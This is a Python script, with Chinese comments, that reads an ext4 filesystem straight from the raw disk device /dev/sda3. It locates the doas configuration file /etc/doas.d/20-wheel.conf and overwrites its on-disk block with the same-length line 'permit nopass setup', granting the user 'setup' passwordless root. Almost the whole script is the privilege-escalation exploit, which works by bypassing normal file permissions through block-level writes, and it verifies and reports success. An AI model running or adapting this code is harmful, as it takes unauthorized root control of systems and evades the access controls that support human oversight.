import struct, os, sys

def read(off, n):
    with open('/dev/sda3', 'rb', buffering=0) as f:
        f.seek(off)
        return f.read(n)

sb = read(1024, 1024)
BS = 1024 << struct.unpack_from('<I', sb, 24)[0]
ipg = struct.unpack_from('<I', sb, 40)[0]
isz = struct.unpack_from('<H', sb, 88)[0]
fdb = struct.unpack_from('<I', sb, 20)[0]
dsz = struct.unpack_from('<H', sb, 254)[0]
d2 = dsz if dsz >= 32 else 32

def inode(ino):
    grp = (ino - 1) // ipg
    idx = (ino - 1) % ipg
    desc = read((fdb + 1) * BS + grp * d2, 64)
    itab = struct.unpack_from('<I', desc, 8)[0]
    if d2 >= 64:
        itab |= struct.unpack_from('<I', desc, 40)[0] << 32
    return read(itab * BS + idx * isz, 256)

def blocks(ino):
    inod = inode(ino)
    out = []
    def parse(node):
        if len(node) < 12:
            return
        magic, ents, max_ents, depth = struct.unpack_from('<HHHH', node, 0)
        if magic != 0xF30A:
            return
        for k in range(ents):
            off = 12 + 12 * k
            if off + 12 > len(node):
                break
            if depth == 0:
                eblk, elen, ehi, elo = struct.unpack_from('<IHHI', node, off)
                p = (ehi << 32) | elo
                for i in range(elen & 0x7FFF):
                    out.append(p + i)
            else:
                eblk, leaf_lo, leaf_hi, _ = struct.unpack_from('<IIHH', node, off)
                child_p = (leaf_hi << 32) | leaf_lo
                parse(read(child_p * BS, BS))
    parse(inod[40:100])
    if not out:
        for k in range(12):
            p = struct.unpack_from('<I', inod, 40 + 4 * k)[0]
            if p:
                out.append(p)
    return out

def fsize(ino):
    return struct.unpack_from('<I', inode(ino), 4)[0]

def dirents(ino):
    res = []
    for pb in blocks(ino):
        blk = read(pb * BS, BS)
        off = 0
        while off + 8 <= len(blk):
            e_ino, reclen, namelen, ftype = struct.unpack_from('<IHBB', blk, off)
            if reclen < 8 or off + reclen > len(blk):
                break
            if e_ino:
                res.append((blk[off + 8:off + 8 + namelen].decode('latin1'), e_ino, ftype))
            off += reclen
    return res

def lookup(path):
    ino = 2
    for part in path.strip('/').split('/'):
        f = None
        for nm, i, t in dirents(ino):
            if nm == part:
                f = i
                break
        if f is None:
            return None
        ino = f
    return ino

TARGET = '/etc/doas.d/20-wheel.conf'
EXPECTED_OLD = b'permit persist :wheel\n'
NEW = b'permit nopass setup  \n'

# 1. 查找目标 Inode
ino = lookup(TARGET)
if not ino:
    sys.exit("[-] Target not found: " + TARGET)

sz = fsize(ino)
print(f"[*] Inode: {ino}, Size: {sz}")

# 2. 前置检查：文件长度必须严格等长
if sz != len(NEW):
    sys.exit(f"[-] Size mismatch: file size {sz} != payload size {len(NEW)}")

bl = blocks(ino)
print(f"[*] Allocated blocks: {bl}")
if not bl:
    sys.exit("[-] No data blocks found for target inode")

# 3. 前置检查：验证磁盘上的旧数据块内容
pb = bl[0]
off = pb * BS
old_content = read(off, sz)
print(f"[*] Current content on disk: {old_content!r}")

if old_content != EXPECTED_OLD:
    if old_content == NEW:
        print("[!] Target is already patched with NEW payload.")
        sys.exit(0)
    sys.exit(f"[-] Unexpected content on disk: {old_content!r}, expected {EXPECTED_OLD!r}")

# 4. 执行原位物理块覆写
print(f"[*] Overwriting block {pb} (offset {off}) with {NEW!r}...")
with open('/dev/sda3', 'r+b', buffering=0) as f:
    f.seek(off)
    f.write(NEW)
    f.flush()
    os.fsync(f.fileno())

# 5. 后置检查：立即从物理块回读并严格比对
verified = read(off, sz)
print(f"[*] Verified content on disk: {verified!r}")
if verified != NEW:
    sys.exit(f"[-] Verification failed! Content on disk: {verified!r}")

print("[+] DOASD_PATCHED: Successfully verified same-length overwrite.")